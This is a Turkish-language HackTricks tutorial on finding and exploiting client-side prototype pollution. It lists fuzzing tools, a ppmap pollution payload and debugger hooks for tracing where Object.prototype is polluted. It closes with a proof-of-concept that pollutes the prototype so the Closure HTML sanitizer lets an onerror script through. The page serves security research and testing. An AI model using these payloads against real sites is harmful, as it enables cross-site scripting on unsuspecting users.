Client Side Prototype Pollution

Sıfırdan kahraman olmaya kadar AWS hackleme becerilerini öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Otomatik Araçlar Kullanarak Keşfetme

https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap ve https://github.com/kosmosec/proto-find araçları, prototype kirliliği zafiyetlerini bulmak için kullanılabilir.

Ayrıca, tarayıcı eklentisi PPScan kullanarak eriştiğiniz sayfalarda otomatik olarak prototype kirliliği zafiyetlerini taramanız mümkün.

Bir özelliğin nerede kullanıldığını hata ayıklama

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Prototype Kirliliğinin Kök Nedenini Bulma

Herhangi bir araç tarafından tanımlanan bir prototype kirliliği zafiyeti bulunduğunda ve kod aşırı karmaşık değilse, location.hash, decodeURIComponent veya location.search gibi anahtar kelimeleri Chrome Geliştirici Araçları'nda aratarak zafiyeti bulabilirsiniz. Bu yaklaşım, JavaScript kodunun savunmasız bölümünü belirlemenizi sağlar.

Daha büyük ve karmaşık kod tabanları için, savunmasız kodu keşfetmenin basit bir yöntemi şu adımları içerir:

  1. Bir zafiyeti tanımlamak ve bir özelliği oluşturmak için tasarlanmış bir yük elde etmek için bir araç kullanın. Örneğin, ppmap tarafından sağlanan bir örnek şöyle görünebilir: constructor[prototype][ppmap]=reserved.

  2. Sayfada çalışacak olan JavaScript kodunun ilk satırında bir kesme noktası belirleyin. Yük ile sayfayı yenileyerek bu kesme noktasında yürütmeyi duraklatın.

  3. JavaScript yürütme duraklatıldığında, aşağıdaki betiği JS konsolunda çalıştırın. Bu betik, 'ppmap' özelliği oluşturulduğunda sinyal verecek ve kökenini bulmanıza yardımcı olacaktır:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Kaynaklar sekmesine geri dönün ve "Betik yürütümünü devam ettir"i seçin. JavaScript yürütmeye devam edecek ve 'ppmap' özelliği beklenildiği gibi kirlenecektir. Sağlanan kod parçasını kullanarak 'ppmap' özelliğinin kirlendiği tam konumu belirlemek kolaylaşır. Çağrı Yığınını inceleyerek, kirlenmenin meydana geldiği farklı yığınlar gözlemlenebilir.

Hangi yığını inceleyeceğinize karar verirken, genellikle JavaScript kütüphane dosyalarıyla ilişkilendirilen yığınlara odaklanmak faydalı olur, çünkü prototip kirliliği sıklıkla bu kütüphanelerde meydana gelir. Kirlenme oluşan yığınları hedeflemek için, kütüphane dosyalarına bağlı olan ilgili yığını belirleyin (sağ tarafta görülebilir, rehberlik için sağlanan bir görüntüye benzer). 4 ve 6. satırlardaki gibi birden fazla yığın senaryolarında, kirlenmenin başlangıç ​​noktasını ve dolayısıyla zayıflığın kök nedenini temsil ettiği için mantıklı seçim 4. satırdaki yığındır. Yığını tıklamak sizi zayıf kodun olduğu yere yönlendirecektir.

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

Betik Araçları Bulma

Araç, bir PP zayıflığı keşfedildiğinde kötüye kullanılacak kodtur.

Uygulama basitse, srcdoc/innerHTML/iframe/createElement gibi anahtar kelimeleri arayabiliriz ve kaynak kodu inceleyerek ve javascript yürütümüne yol açıp açmadığını kontrol edebiliriz. Bazı durumlarda, bahsedilen teknikler hiçbir araç bulamayabilir. Bu durumda, saf kaynak kod incelemesi aşağıdaki örnekte olduğu gibi bazı güzel araçları ortaya çıkarır.

Mithil kütüphane kodunda PP aracı bulma örneği

Bu yazıyı kontrol edin: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Kırılgan kütüphaneler için payload'ların yeniden derlenmesi

PP aracılığıyla HTML Temizleyicilerin atlatılması

Bu araştırma bazı HTML temizleyici kütüphaneler tarafından sağlanan temizlemeleri atlatmak için kullanılabilecek PP araçlarını göstermektedir:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Referanslar

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated